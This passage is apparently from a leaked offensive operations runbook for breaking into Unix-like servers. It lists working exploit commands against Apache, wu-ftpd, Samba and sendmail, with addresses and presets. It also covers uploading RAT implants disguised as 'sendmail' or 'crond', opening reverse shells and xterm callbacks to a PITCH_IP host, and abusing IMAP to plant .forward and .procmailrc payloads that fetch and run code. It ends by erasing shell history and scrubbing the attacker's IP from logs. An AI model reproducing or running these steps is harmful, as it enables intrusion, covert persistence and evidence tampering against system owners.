L:/current/down/userlist +# +# (N.B. the -ls will give the mailinfo.dat file timestamps in the +# format expected by lsstamp ... see next command) +# +# ## now, LOCALLY run lsstamp userlist > userlist.sorted +# ## (lsstamp will sort the -ls lines in date order) +# +# Collection: -get /global/m1/MB/96/8/karachi:moftec/mailinfo.dat +# +# +####################################################################### + + +mx +:%s/LOCAL_IP/LOCALIP/g +:%s/PITCH_IP/PITCH_IP/g +:%s/TARGET_IP/TARGET_IP/g +:%s/TARGET_NAME/TARGET_NAME/g +:%s/TARGET_DOMAIN/TARGET_DOMAIN/g +:%s/NETCAT_PORT/38745/g +:%s/RAT_PORT/RAT_PORT/g +:%s/RAT_NAME/sendmail/g +:%s/WORK_DIR/.scsi/g +:%s/mm-dd-yyyy/mm-dd-yyyy/g +`x + +### Use this if we already own the target: +### Create /current/etc/hops.txt file +HOP1: PITCH_IP:R -lue +HOP2: TARGET_IP:R -uec + + +############ Set up nopen for access +### + +### start upload in another window +cd /current/up + +file noserver* +cp noserver.[sparc] noserver + +### using NOPEN +file noserver* +packrat NETCAT_PORT + # cp noserver sendmail; compress -c sendmail | uuencode sendmail.Z > sendmail.uu + # ls -l sendmail.uu* + # nc -l -p NETCAT_PORT < sendmail.uu + + + + +### Filters out "last" command on initial ops on the target +echo "last" > /current/etc/autofilter.TARGET_NAME.TARGET_IP + # or +echo "last" > /current/etc/autofilter.TARGET_NAME.TARGET_DOMAIN.TARGET_IP + + + + + ### in setting up windows, you probably want this + + ### td is an alias on HURRICANE and TYPHOON to set up a TCPDUMP xterm on right screen + + td + + cd /current/down + script -a windows.tcpdump + + tcpdump -i eth0 -n -n + + ### in addition to this (which scrubhands may have given you) + + td + + cd /current/down + script -a tcpdump.raw + + tcpdump -i ppp0 -n -n + + +### Use something similar to this for annoying packets in the red tcpdump: +### Paste in a non-scripted window: +echo "pathcost" >> /tmp/filters.inuse && mv /tmp/filters.inuse /tmp/filters +echo "NetBeui" >> /tmp/filters.inuse && mv /tmp/filters.inuse /tmp/filters +echo "who-has" >> /tmp/filters.inuse && mv /tmp/filters.inuse /tmp/filters +echo "router" >> /tmp/filters.inuse && mv /tmp/filters.inuse /tmp/filters + + + + + ### if done via PITCHIMPAIR infrastructure: + ### + ### Get onto INCISION host: + ### +# if using hops.txt: +ourtn + +# if using commandline: +ourtn -uel PITCH_IP + + # or + ourtn -ue PITCH_IP TARGET_IP + ourtn -eulc -o RAT_PORT PITCH_IP TARGET_IP + + DISPLAY= + export DISPLAY + + ./ftshell ./tn.spayed PITCH_IP + ### or + ./ftshell ourtn PITCH_IP + + ### Check for our PID (shouldn't see it) + ps -ef|grep + + + ### See who's on + w ; date + + ### Check for anything mucking with /tmp + ps -ef | grep \/tmp + + df -k + + dmesg + + ### Create working directory - first make sure /tmp doesn't have it already + + ls -al /tmp + cd /tmp; ls -al + pwd + + ### check things out a bit... + + ls -lart /etc | tail -30 ; uname -a ; date ; ifconfig -a ; w + + + ### maybe check logs? + + ls -lart /var/adm /var/log + + + ### look for sniffers etc + ps -ef|grep #### + + + ### upload RAT + + ~~p + ../up/noserver.sparc sendmail + + ls -al + chmod 700 sendmail && netstat -an | grep RAT_PORT + PATH=. D="-l RAT_PORT" sendmail && rm sendmail && ls -alrt + + +### in a local window, connect to pitchimpair via nopen, and start tunnels #### + +### Ex: noclient 217.53.1.2:39222 + +cd /current/down +noclient PITCH_IP:RAT_PORT + + #-readrc ../etc/norc.solaris + + +######################################## +# INCISION to FreeBSD implant +######################################## + +# from local LINUX scripted window +export EXPECT_PROMPT="(%|:|#|\\$)[ ]*$" +ourtn -lue PITCH_IP +-irtun 219.238.199.144 RANDOM_PORT -z -s 80 +setenv D -lNOPEN_PORT # NO = sign and use setenv +set path = (. /usr/bin /bin) # NO QUOTES and use set +~~p +/current/up/noserver cron # freebsd noserver +which cron +cron + +# from NOPEN on the PITCHIMPAIR host: +-nstun 219.238.199.144:NOPEN_PORT +-cd /tmp +-lt +-rm cron +-lt + +------------------------------------- +export EXPECT_PROMPT="(%|:|#|\\$)[ ]*$" +ourtn -lz TARGET_IP # or -irtun TARGET_IP PORT -lz + +setenv D -lNOPEN_PORT # NO = sign and use setenv +set path = (. /usr/bin /bin) # NO QUOTES and use set +~~p +/current/up/noserver crond # freebsd noserver +which crond +crond + +noclient TARGET_IP:NOPEN_PORT or -nstun TARGET_IP NOPEN_PORT + + +######################################## +# JACKLADDER +######################################## + +### can be done without a redirector and will upload and execute nopen + +jacktelnet.sh TARGET_IP LOCAL_IP NETCAT_PORT WORK_DIR RAT_NAME [JACKPORT] + + +######################################## +# JACKLADDER - triggering IN thru JACKPOP on Linux (FAINTSPIRIT) +######################################## + +### Local window, let this sit and wait: +ourtn -T 202.38.128.1 -n -I -ue -O 113 -p 443 -C 211.40.103.194 127.0.0.1 + +### on PITCH: set up window for nopen callback +-nrtun 113 + +### on PITCH: set up tunnel for nopen upload +-tunnel +r NOPEN_UPLOAD_PORT + +### on PITCH, run jackpop to tickle incision +-jackpop 202.38.128.1 110 211.40.103.194 13732 +#3 run a command +/dev/ttyia2 PITCH_IP 443 +yes ### let incision bless the commands + +### incision will talk to your local window, then callback to your -nrtun window + + +################################################### +### REDIRECTING IN THRU WINDOWS +################################################### + +################## SENDING TRIGGER THRU WINDOWS (2000 or XP) BOX ########################## +##### NT4.0 doesn't allow the use of raw sockets, which is needed to send the IN trigger ## + +mx +:%s/LOCAL_WINDOWS_IP/LOCAL_WINDOWS_IP/g +:%s/LOCAL_UNIX_IP/LOCAL_UNIX_IP/g +:%s/UNIX_INCISION_TRIGGER_PORT/UNIX_INCISION_TRIGGER_PORT/g +:%s/INCISION_CALLBACK_PORT/INCISION_CALLBACK_PORT/g +:%s/NOPEN_CALLBACK_PORT/NOPEN_CALLBACK_PORT/g + +:%s/WIN_TARG_INTERNAL_IP/10.140.0.9/g +:%s/TARGET_IP/10.140.0.40/g + +`x + +## Usage: script unixredirect.eps LOCAL-WINDOWS-IP LOCAL-UNIX-IP UNIX-INCISION-TRIGGER-PORT INCISION-CALLBACK-PORT NOPEN-CALLBACK-PORT + +script unixredirect.eps LOCAL_WINDOWS_IP LOCAL_UNIX_IP UNIX_INCISION_TRIGGER_PORT INCISION_CALLBACK_PORT NOPEN_CALLBACK_PORT + + ### or run the following by hand + + + ### On Windows box ##################### + + # Note: can use 'background' instead of 'monitor' in the windows commands + + # This sends the trigger: + # monitor packetredirect -packettype tcp -listenport LOCAL-PORT -bind LOCAL-WIN-IP + # Ex. - monitor packetredirect -packettype tcp -listenport 32654 -bind DOOBIEIP + + monitor packetredirect -packettype tcp -listenport LOCAL_PORT -bind LOCAL_WIN_IP + + + + # This listens for the ish callback + # monitor redirect -tcp -implantlisten ISH-CALLBACK-PORT -target LOCAL-LINUX-IP ISH-CALLBACK-PORT + # Ex. - monitor redirect -tcp -implantlisten 28345 -target FIREBALL_IP 28345 + + monitor redirect -tcp -implantlisten ISH_CALLBACK_PORT -target LOCAL_LINUX_IP ISH_CALLBACK_PORT + + + + # For nopen connection: + # monitor redirect -tcp -lplisten RAT-PORT + # Ex. - monitor redirect -tcp -lplisten 47108 + + monitor redirect -tcp -lplisten RAT_PORT -target TARGET_IP RAT_PORT -bind LOCAL_WIN_IP + + + + # For additional nopen connections, increment the lplisten port, but keep the same target nopen port: + # monitor redirect -tcp -lplisten RAT-PORT+1 -target TARGET-IP RAT-PORT -bind LOCAL-WIN-IP + # Ex. - monitor redirect -tcp -lplisten 47109 -target 10.1.1.3 47108 -bind 10.1.1.2 + # Ex. - monitor redirect -tcp -lplisten 47110 -target 10.1.1.3 47108 -bind 10.1.1.2 + + monitor redirect -tcp -lplisten RAT_PORT+1 -target TARGET_IP RAT_PORT -bind LOCAL_WIN_IP + + ### On Linux box: ##################### + + + # Once the first three windows commands are set up, you can send the trigger: + # ourtn -W LOCAL-WIN-IP:LOCAL-PORT -o RAT-PORT -p ISH-CALLBACK-PORT -i WIN-TARG-IP -ue TARGET-IP + # Ex: ourtn -W DOOBIE_IP:32654 -o 47108 -p 28345 -i 10.1.1.4 -ue 10.1.1.3 + + #ourtn -W LOCAL_WIN_IP:LOCAL_PORT -o RAT_PORT -p ISH_CALLBACK_PORT -i WIN_TARG_IP -ue TARGET_IP + #ourtn -W 192.168.254.253:31413 -O 41611 -C 202.154.225.27 -p 37541 -i 202.154.225.27 -ue 10.140.0.40 + + #ourtn -ueW 192.168.254.253:31413 -i 202.154.225.27 -C 202.154.225.27 -p 37541 -O 41611 10.140.0.40 + TRAVOLTA=1 ourtn -ueW 192.168.254.22:8942 -i 10.140.0.9 -C 10.140.0.9 -p 18855 -O 7549 10.140.0.40 + +### Use the TRAVOLTA option to keep nopen from dying in 5 hours, only if you think the op will be extended +### If alien has issues with an nfs mount point, so use the "-Q" option to ourtn and DO NOT run the following +### -lt /, df -k, otherwise, you'll tie up your window and will need to kill the process; +### it's better NOT to run nopen built-ins on alien so that you can kill something if it hangs + +incision trigger = UNIX_INCISION_TRIGGER_PORT +incision callback = INCISION_CALLBACK_PORT +nopen callback = NOPEN_CALLBACK_PORT + + +#ourtn -ueW 192.168.254.142:36541 -i 10.140.0.9 -C 10.140.0.9 -p 34789 -O 45665 10.140.0.40 +#ourtn -ueW LOCAL-WIN-IP:LOCAL-PORT -i WIN-TARG-IP -C WIN-TARG-INTERNAL-IP -p ISH-CALLBACK-PORT -O RAT-PORT TARGET-IP +ourtn -ueW LOCAL_WINDOWS_IP:UNIX_INCISION_TRIGGER_PORT -i WIN_TARG_INTERNAL_IP -C WIN_TARG_INTERNAL_IP -p INCISION_CALLBACK_PORT -O NOPEN_CALLBACK_PORT TARGET_IP + +noclient -l NOPEN_CALLBACK_PORT +#noclient -l 45665 + + + # Call forward to nopen works to alien, start a -listen PORT to call forward + # Set up redirectors on windows side to allow the following connections: + +mx +:%s/NOPEN_CALLFORWARD_PORT/NOPEN_CALLFORWARD_PORT/g +'x + + +# on windows side: +background redirect -tcp -lplisten NOPEN_CALLFORWARD_PORT -target TARGET_IP NOPEN_CALLFORWARD_PORT -bind LOCAL_WINDOWS_IP +background redirect -tcp -lplisten NOPEN_CALLFORWARD_PORT+1 -target TARGET_IP NOPEN_CALLFORWARD_PORT -bind LOCAL_WINDOWS_IP +background redirect -tcp -lplisten NOPEN_CALLFORWARD_PORT+2 -target TARGET_IP NOPEN_CALLFORWARD_PORT -bind LOCAL_WINDOWS_IP + + +-listen NOPEN_CALLFORWARD_PORT +noclient LOCAL_WINDOWS_IP:NOPEN_CALLFORWARD_PORT +#noclient LOCAL_WINDOWS_IP:NOPEN_CALLFORWARD_PORT+1 +#noclient LOCAL_WINDOWS_IP:NOPEN_CALLFORWARD_PORT+2 + + + + #### To kill one server first use it to start a new one (new one won't burn) + D=-l23477 PATH=. sendmail + -burnBURN + + + # Connect to nopen; suggest using the port override option (-o) above for simplicity + # For additional windows, you and the windows person must increment the redirected port + # Ex. - noclient 10.1.1.2:47108 + # Ex. - noclient 10.1.1.2:47109 + + #noclient 10.1.1.2:RAT_PORT+1 + + + +########################################################### +# YES - for HPUX +########################################################### + +./yes 127.0.0.1 100083 1 PROGRAM_PORT 0x40062ea8 'mkdir /tmp/.scsi;cd /tmp/.scsi && /usr/bin/telnet PITCH_IP NETCAT_PORT &1 > /dev/null 2>&1 && uncompress -f sendmail.Z;chmod 0700 sendmail && export D=-cPITCH_IP:NOPEN_PORT && ./sendmail' + + + + +########################################################### +# CUP +########################################################### + +-gs wearcup -h + +### to have it cleanup in 3 hours: +-gs wearcup -r -w 3h + +### to have it cleanup in 2 minutes: +-gs wearcup -r -w 120s + +### or, run it by hand: +### locally, edit cup, and change the working dir, and time in minutes to wait for execution + + +### upload cup +-put /current/up/cup.DEPRECATED.SEE.README.cup.NOPEN cup +-cat cup + +### run cup +./cup & +ps -ef |grep sleep + +### You can kill the sleep to make it execute immediately, or just let +### it run normally + +-exit + +#### DO NOT -burn !!!!!!!!! USE -exit INSTEAD!!!!!!!!!! + +########################################################### +# HP Kernel Checks +########################################################### + +# run these to check target for kernel info for implants: + +/usr/bin/getconf SC_CPU_VERSION +/usr/bin/getconf SC_KERNEL_BITS +kmadmin -s + + + +######################################################### +# EVENLESSON +######################################################### + +# runs against Linux systems running Apache with mod_ssl accessing +# OpenSSL 0.9.6d or earlier on x86 architectures +# May not work first time; Try increasing the number of connections to the target by 6. +# If this fails, try increasing the number of connections by 4 until you reach 40. +# SHould give you prompt on system - may have to elevate + +#-scan 443 TARGET_IP +-scan http TARGET_IP +-scan ssl TARGET_IP + +### Redirector: + +-tunnel +l 443 TARGET_IP +r NETCAT_PORT + + +### query target: + +./apache-ssl-linux_v3 -i 127.0.0.1 +./apache-ssl-linux -i -s + + +### Usage: +# Usage: ./apache-ssl-linux <-i hostname> [-s scan banner] [-t arch] [-p port] [-n ] [-a 0x

] + + + +### Usage for default values: +./apache-ssl-linux -i TARGET_IP -t ARCH + + +### Usage for increasing number of connections to increase chances +./apache-ssl-linux -i TARGET_IP -t ARCH -n 20 + + +#### get ptrace, forkpty, and nopen tarball ready to send: +cd /current/up +cp ptrace pt +cp noserver sendmail +cp forkpty fp +tar cvf 1u.tar pt sendmail fp +uuencode 1u.tar 1u.tar > 1u.tar.uu + +nc -l -p NETCAT_PORT < 1u.tar.uu + +#### to elevate and also get nopen there: +cd /tmp +mkdir .scsi +cd .scsi +telnet LOCAL_IP NETCAT_PORT > src + Connection closed by foreign host. +ls -la +uudecode src +ls -la +tar xvf 1u.tar +ls -la +chmod 700 fp sendmail pt +./fp + +#### at sh-prompt, type: +tty +./pt +id +PATH=. sendmail + + +##### Cleanup + +/var/log/httpd/error_log + + + + + + +########################################################### +# EYEMASK +########################################################### + +### Imap masqerade +### Bring a local to get root + +### for solaris + +nc -v -l -p 53 < ../up/noserver-sparc-sun-solaris2.5.1 +noclient -l 25 +telnet TARGET_IP 143 + +A000 LOGIN user password +A001 EXAMINE /etc/mail/sendmail.cf +A002 FETCH 1 RFC822 +A003 EXAMINE /etc/passwd +A004 FETCH 1 RFC822 +A003 EXAMINE /etc/shells +A004 FETCH 1 RFC822 +A005 EXAMINE .forward +A006 CREATE .forward +A007 CREATE .forward +A008 APPEND .forward (\Seen) {145} +"| /bin/ksh -c '/bin/cat/tmp/sendmail;chmod +x /tmp/sendmail;D=-cPITCH_IP:25 PATH=/tmp sendmail;rm -f /tmp/sendmail'" + +A009 DELETE .forward +A010 LOGOUT + +telnet PITCH_IP 25 +HELO helo +MAIL FROM: user@itt.beta.net +RCPT TO: user@itt.beta.net +DATA +. +QUIT + +# echo -e "HTTP/1.0 200\n" > new +# cat new noserver-2.6.1-i586.pc.linux.gnu.redhat-5.0 > sendmail +# nc -v -l -p 53 < sendmail + +# noclient -l 25 + + + + + + +telnet TARGET_IP 143 +A000 LOGIN user password +A001 EXAMINE /etc/mail/sendmail.cf +A002 FETCH 1 RFC822 +A003 EXAMINE /etc/passwd +A004 FETCH 1 RFC822 +A003 EXAMINE /etc/shells +A004 FETCH 1 RFC822 +A100 LIST /etc/smrsh * +A005 EXAMINE .forward +A006 CREATE .forward +A007 CREATE .forward +A008 APPEND .forward (\Seen) {11} +"| slocal" +A100 CREATE .maildelivery +A101 APPEND .maildelivery (\Seen) {37} +To user pipe A >/home/user/.g +A102 LIST "" % +A102 RENAME .g .procmailrc +A008 APPEND .procmailrc (\Seen) {128} +:0 c +|cd /tmp;wget http://PITCH_IP:53/sendmail; chmod +x /tmp/sendmail;D=-cPITCH_IP:25 PATH=/tmp sendmail;rm -f sendmail +A009 DELETE .forward +A009 DELETE .maildelivery +A009 DELETE .procmailrc +A010 LOGOUT + +telnet localhost 25 +HELO helo +MAIL FROM: user@localhost.localdomain +RCPT TO: user@localhost.localdomain +DATA +. +QUIT + + + +telnet fawn 143 +A000 LOGIN user password +A001 EXAMINE /etc/mail/sendmail.cf +A002 FETCH 1 RFC822 +A003 EXAMINE /etc/passwd +A004 FETCH 1 RFC822 +A003 EXAMINE /etc/shells +A004 FETCH 1 RFC822 +A102 LIST "/usr/bin/X11" % +A005 EXAMINE .forward +A006 CREATE .forward +A007 CREATE .forward +A008 APPEND .forward (\Seen) {50} +"| /usr/bin/*11/xterm -display PITCH_IP:26000" +A009 DELETE .forward +A010 LOGOUT + +telnet fawn 25 +HELO helo +MAIL FROM: user@fawn.beta.net +RCPT TO: user@fawn.beta.net +DATA +. +QUIT + + + +### cleanup +possible logging in /var/adm/messages (should blend in if it fails) + + +########################################################### +# EXPOUNDATOM +########################################################### +# Requires the target to have the wu-2.6.1 FTP service running +# Requires anonymous ftp access (determined if exploit works) +# -scan ftp TARGET_IP +# A maximum of two tries can be attempted. +# +# Syntax +# ./wu-261-linux -h +# For target list: +# ./wu-261-linux -t0 -h + + +# No redirection: +./wu-261-linux TARGET_IP 21 VERSION + + + +# w/ redirection: +-tunnel +l 21 TARGET_IP + +# Locally: +./wu-261-linux -a -d 127.0.0.1 +./wu-261-linux -t17 -d 127.0.0.1 + +# SHould give you root; need to upload nopen + +unset HISTFILE +unset HISTSIZE +unset HISTFILESIZE +cd /tmp +mkdir WORK_DIR +cd /tmp/WORK_DIR +pwd +which uudecode uncompress + # gedit sendmail +uudecode; ls -latr +uncompress sendmail.Z +ls -la +chmod 700 sendmail +PATH=. sendmail + +# IF it complains about the user/pass correct, then it's not vulnerable to +# our pair that we try to send it; + +# Cleanup: +# /var/log/messages (look for ftp access) +# /var/adm/utmpx, wtmpx +# /var/log/secure + + +################################################### +### EMBERSNOUT +################################################### + +# must verify that box is RH9.0(SHRIKE) and that +# httpd is "Apache/2.0.40 (Red Hat Linux) + +-scan telnet TARGET_IP +-scan ssh TARGET_IP +-scan ssl TARGET_IP + +# Notes: +# this indicates it's RH9.0 but could be either Psyche or Shrike: +# (Linux release 2.4.20-8custom #3 SMP Thu Aug 28 13:56:20 EDT 2003) + +# seeing this indicates (Shrike) because the version is bundled with it: +# SH-1.99-OpenSSH_3.5p1 + +# this version of Apache is needed but Psyche comes with 2.0.40-8 and +# Shrike comes with 2.0.40-21; the release in not determinable from +# a scan; just verify it's what is expected: +# Server: Apache/2.0.40 (Red Hat Linux) +# + +# op box should work - depends if python is included +rpm -qf /usr/bin/python + # should see: python-base-2.2-9mdk + +# if you want it to pop an xterm back to your screen: +# - make sure 6000 is listening +# - run xhost + + +./es.py + Arguments: ['./es.py'] + + + Usage -> ./es.py ip port packet_size start_ebp end_ebp ebp_inc hex_pad_byte "cmd" + + where... + + ip............target IP address + port..........target httpd TCP port number (usually 443) + packet_size...attack packet length in bytes + start_ebp.....guessed %ebp value to start with + end_ebp.......guessed %ebp value to end with + ebp_inc.......how many stack bytes to bump %ebp each time + hex_pad_byte..packet filling byte (0x0 will do randomized fill) + "cmd".........ASCII command string to be executed on target + +### Locally +netstat -an |grep 6000 +xhost + + + +########### REDIRECTED: + + +### Redirector: +-tunnel +l 443 TARGET_IP +r 6006 127.0.0.1 6000 +r NETCAT_PORT + +### In a local scripted window, set up a netcat to listen for a connection: + +nc -vv -l -p NETCAT_PORT + + +### Locally (choose a method): + +### This one will send command results back to a netcat window (not interactive) +./es.py 127.0.0.1 443 5000 0xbfffe000 0xbffffff0 0x4 0x0 (/bin/uname -a; /usr/bin/id; /bin/ps -auxww; /bin/w)|/usr/ +bin/telnet PITCH_IP NETCAT_PORT" + +### This one gives you an interactive window: +./es.py 127.0.0.1 443 5000 0xbfffe000 0xbffffff0 0x4 0x0 "(sh&0 2>&0)" + # or for ksh: +./es.py 127.0.0.1 443 5000 0xbfffe000 0xbffffff0 0x4 0x0 "(ksh -c "sh &0 2>&0")" + +### This one pops back an xterm (be patient for it to pop back and keep mouse clear of window): +./es.py 127.0.0.1 443 5000 0xbfffe000 0xbffffff0 0x4 0x0 "/usr/bin/X11/xterm -display PITCH_IP:6 -e /bin/sh" + + +############ No Redirection: + +./es.py TARGET_IP 443 5000 0xbfffe000 0xbffffff0 0x4 0x0 (/bin/uname -a; /usr/bin/id; /bin/ps -auxww; /bin/w)|/usr/ +bin/telnet LOCALIP NETCAT_PORT" + +./es.py TARGET_IP 443 5000 HIT_STRING 0xbffffff0 0x4 0x0 "(/usr/bin/X11/xterm -display LOCALIP:0 -e /bin/sh)" + +./es.py 127.0.0.1 443 5000 0xbfffe000 0xbffffff0 0x4 0x0 "(sh&0 2>&0)" + + + +### if the exploit stalls after a bit, hit Ctl-C to wake it up, which +### prompts you if you want to continue - hit 'y' +### watch for a connection back to your netcat window + +### Once you have access........ +### you need to first clean extraneous processes started by httpd +### run this to help clean: + + +unset HISTFILE +unset HISTSIZE +unset HISTFILESIZE +pwd +exec 3<&- 4<&- 5<&- 6<&- 7<&- 8<&- 9<&- 10<&- 11<&- 12<&- 13<&- 255<&- +/usr/sbin/lsof |grep ^sh +uname -a; id +mkdir -p /tmp/.httpd-lock; chmod 700 /tmp/.httpd-lock; ls -lctra /tmp +cd /tmp/.httpd-lock; pwd +which uudecode uncompress +#telnet PITCH_IP NETCAT_PORT /tmp/.httpd-lock/crond +chmod 700 crond +PATH=. crond +PATH=. D=-cPITCHIP:NOPEN_PORT crond +rm crond + + +-nstun TARGET_IP +-nrtun NOPEN_PORT +noclient TARGET_IP + +### need to elevate so you can clean logs (use eventstart - ptrace won't work on RH9) + + + +### Logging: +-lt /var/log/httpd + /var/log/httpd/ssl_access_log + /var/log/httpd/ssl_request_log + /var/log/httpd/ssl_error_log + /var/log/httpd/error_log + +-lt /var/log + /var/log/messages + /var/log/secure + /var/log/maillog + +egrep -v PITCH_IP /var/log/httpd/ssl_access_log > t; cat t > /var/log/httpd/ssl_access_log +egrep -v PITCH_IP /var/log/httpd/ssl_request_log > t; cat t > /var/log/httpd/ssl_request_log +egrep -v PITCH_IP /var/log/httpd/error_log > t; cat t > /var/log/httpd/error_log +egrep -v Segmentation /var/log/httpd/error_log > t; cat t > /var/log/httpd/error_log +egrep -v PITCH_IP /var/log/httpd/ssl_error_log > t; cat t > /var/log/httpd/ssl_error_log +egrep -v PITCH_IP /var/log/messages > t; cat t > /var/log/messages +egrep -v PITCH_IP /var/log/secure > t; cat t > /var/log/secure +egrep -v PITCH_IP /var/log/maillog > t; cat t > /var/log/maillog + + +#################################### +### ENVELOPSWALLOW +#################################### + +# buffer overflow for Apache Web + + +Usage: ./envelopswallow <-switches> -h host[:80] + -h host[:port] Host to penetratea and TCP port of the web server to attack + -t # Target id. + Bruteforcing options (all required, unless -o is used!): + -o char Default values for the following OSes + (f)reebsd, (o)penbsd, (n)etbsd + -b 0x12345678 Base address used for bruteforce + Try 0x80000/obsd, 0x80a0000/fbsd, 0x080e0000/nbsd. + -d -nnn memcpy() delta between s1 and addr to overwrite + Try -146/obsd, -150/fbsd, -90/nbsd. + -z # Numbers of time to repeat \0 in the buffer + Try 36 for openbsd/freebsd and 42 for netbsd + -r # Number of times to repeat retadd in the buffer + Try 6 for openbsd/freebsd and 5 for netbsd + Optional stuff: + -w # Maximum number of seconds to wait for shellcode reply + -c cmdz Commands to execute when our shellcode replies + aka auto0wncmdz + -W # of seconds to wait between tries (use this when tunneling thru nopen) + + + + +-scan http TARGET_IP + +-tunnel +l RANDOM TARGET_IP 80 +r NETCAT_PORT + + +./envelopswallow + +# plug in the options of the matching line +# change TARGET_IP to 127.0.0.1 if using redirection + +# 4.0 FreeBSD RELEASE apache-1.3.12(distro binary) apache+mod_ssl-1.3.12+2.6.2(distro binary) +# apache+php-1.3.12+3.0.15 (distro binary) apache+php-1.3.12+4.0b3 (distro binary) +# apache+ssl-1.3.9+1.37(distro binary) + ./envelopswallow -o f -w 1000 -b 0xbfbfd000 -d -134 -r 11 -z 16 -h TARGET_IP:80 + +# 4.1 FreeBSD Apache 1.3.12(distro binary) + ./envelopswallow -o f -w 1000 -b 0xbfbfd000 -d -134 -r 11 -z 16 -h TARGET_IP:80 + ./envelopswallow -o f -w 1000 -b 0xbfbf0000 -d -134 -r 11 -z 16 -h TARGET_:80 + + +# 4.1 FreeBSD Apache 1.3.14 / 1.3.17 / 1.3.19 / 1.3.20 / 1.3.22 / 1.3.23 / 1.3.24 (built from source) + ./envelopswallow -o f -h TARGET_IP:80 -w 1000 -b 0x080edc29 -d -146 -z 36 -r 6 + + +# 4.4 FreeBSD Apache 1.3.20(binary) + ./envelopswallow -b 0xbfbf0000 -z 16 -r 11 -d -134 -h TARGET_IP:80 + + +# 4.4 FreeBSD ru-apache+mod_ssl-1.3.20+30.5+2.8.4 (distro binary) + ./envelopswallow -b 0xbfbfd000 -z 16 -r 11 -d -134 -h TARGET_IP:80 + + +# 4.5 FreeBSD apache+mod_ssl-1.3.22+2.8.5_4(distro binary) and apache-1.3.22_7 (distro binary) + ./envelopswallow -b 0xbfbfd000 -z 16 -r 11 -d -134 -h TARGET_IP:80 + + +### Let it run for about addresses (rows of PppP...ppP's) then bail if it doesn't hit +### maybe let it run an hour or less + +unset HISTFILE +unset HISTSIZE +unset HISTFILESIZE +cd /tmp +mkdir WORK_DIR +cd /tmp/WORK_DIR +pwd +telnet PITCH_IP NETCAT_PORT < /dev/console | uudecode;ls -la +uncompress sendmail.Z +netstat -an | grep RAT_PORT +D="-l RAT_PORT" PATH=. sendmail + +### pitch window +-nstun TARGET_IP RAT_PORT + + + +upload local: rforkx.freebsd (FreeBSD 4.1 & 4.3) + or sm11x.freeBSD ( ONLY for: + 7.0, 7.1, FBSD 4.2 + FBSD -t0 + 7.0 -t1 + 7.1 -t2 + + + + +###################################### +# RFORKX +###################################### + +### elevation for x86/FreeBSD +# Works-on : +# FreeBSD 3.1-RELEASE (GENERIC) #0: Mon Feb 15 11:08:08 GMT 1999 +# FreeBSD 3.2-RELEASE (GENERIC) #0: Tue May 18 04:05:08 GMT 1999 +# FreeBSD 3.3-RELEASE (GENERIC) #0: Thu Sep 16 23:40:35 GMT 1999 +# FreeBSD 4.0-RELEASE (GENERIC) #0: Mon Mar 20 22:50:22 GMT 2000 +# FreeBSD 4.1-RELEASE (GENERIC) #0: Fri Jul 28 14:30:31 GMT 2000 +# FreeBSD 4.2-RELEASE (GENERIC) #0: Mon Nov 20 13:02:55 GMT 2000 +### fails on some newer versions of FreeBSD + + +### upload executable +cp rforkx rf +packrat NETCAT_PORT rf + +telnet PITCH_IP NETCAT_PORT < /dev/console | uudecode;ls -la +uncompress rf +ls -latr +chmod 700 rf +./rf +# wait 5 sec and maybe control-c +id + + +# start nopen as root then reconnect + + +###################################### +# SM11X +###################################### + +Target platform 1: Red Hat Linux release 7.0 (Guinness) + ESMTP Sendmail 8.11.0/8.11.0 + Target platform 2: Red Hat Linux release 7.1 (Seawolf) + ESMTP Sendmail 8.11.2/8.11.2 + Target platform 3: FreeBSD 4.2-RELEASE + ESMTP Sendmail 8.11.1/8.11.1 +Caldera Linux 3.1 + Conectiva Linux 6.0 + Conectiva Linux 7.0 + Immunix Linux 7.0 + SuSE Linux 7.0 + SuSE Linux 7.1 + SuSE Linux 7.2 +"sendmail" daemon with any of the versions... + + 8.11 + 8.11.1 + 8.11.2 + 8.11.3 + 8.11.4 + 8.11.5 + 8.12.beta5 + 8.12.beta7 + 8.12.beta10 + 8.12.beta12 + 8.12.beta16 + + +What assumptions have been made in the design of this capability? + Setuid "root" existence of "/usr/sbin/sendmail" on Red Hat Linux 7.0 and + 7.1 systems, and "/usr/libexec/sendmail/sendmail" on FreeBSD-4.2 systems. + +### LOGGING: + +"/var/mail/maillog", + +cat /etc/redhat-release +ls -l /usr/sbin/sendmail + + +./sm11x -t OPTION +### look for the cksums to match, if they don't, you have 5 secs to control-c + +### if you don't control-c, a second 5-sec counter will start; you'll also see the following message: + + Recipient names must be specified + + +###### Cleanup: + +/var/log/messages (brute force) +/var/log/error_log (bus error, segment. fault, server seems busy) + + + + +################################### +# EGGBARON +################################### + +### Linux and FreeBSD systems running Samba 2.2.x (pre 2.2.8a) on x86 architectures. + +### If successful, it has samba start a listener on port 45295 and the exploit will attempt +### to connect to it to give you root. +### If you're redirecting, you need to set up a tunnel to port 45295 on the target, +### then connect to it via netcat. +### Note, that if you use the same ports on both tunnel ends, eggbaron may think that it +### was already successful because of false positives by the tunnel +### Might need to let it give "failed" messages 20-30 times before it works. + +./sambal +samba-2.2.x < remote root +-------------------------- +Usage: ./sambal [-bBcCdfprsStv] [host] + +-b bruteforce (0 = Linux, 1 = FreeBSD/NetBSD, 2 = OpenBSD 3.1 and prior, + 3 = OpenBSD 3.2) +-B bruteforce steps (default = 300) +-c connectback ip address +-C max childs for scan/bruteforce mode (default = 40) +-d bruteforce/scanmode delay in micro seconds (default = 100000) +-f force +-p port to attack (default = 139) +-r return address +-s scan mode (random) +-S scan mode +-t presets (0 for a list) +-v verbose mode + +./sambal -t0 +samba-2.2.x < remote root +-------------------------- +01. samba-2.2.x - Debian 3.0 [0xbffffea2] +02. samba-2.2.x - Gentoo 1.4.x [0xbfffe890] +03. samba-2.2.x - Mandrake 8.x [0xbffff6a0] +04. samba-2.2.x - Mandrake 9.0 [0xbfffe638] +05. samba-2.2.x - Redhat 9.0 [0xbffff7cc] +06. samba-2.2.x - Redhat 8.0 [0xbffff2f0] +07. samba-2.2.x - Redhat 7.x [0xbffff310] +08. samba-2.2.x - Redhat 6.x [0xbffff2f0] +09. samba-2.2.x - Slackware 9.0 [0xbffff574] +10. samba-2.2.x - Slackware 8.x [0xbffff574] +11. samba-2.2.x - SuSE 7.x [0xbffffbe6] +12. samba-2.2.x - SuSE 8.x [0xbffff8f8] +13. samba-2.2.x - FreeBSD 5.0 [0xbfbff374] +14. samba-2.2.x - FreeBSD 4.x [0xbfbff374] +15. samba-2.2.x - NetBSD 1.6 [0xbfbfd5d0] +16. samba-2.2.x - NetBSD 1.5 [0xbfbfd520] +17. samba-2.2.x - OpenBSD 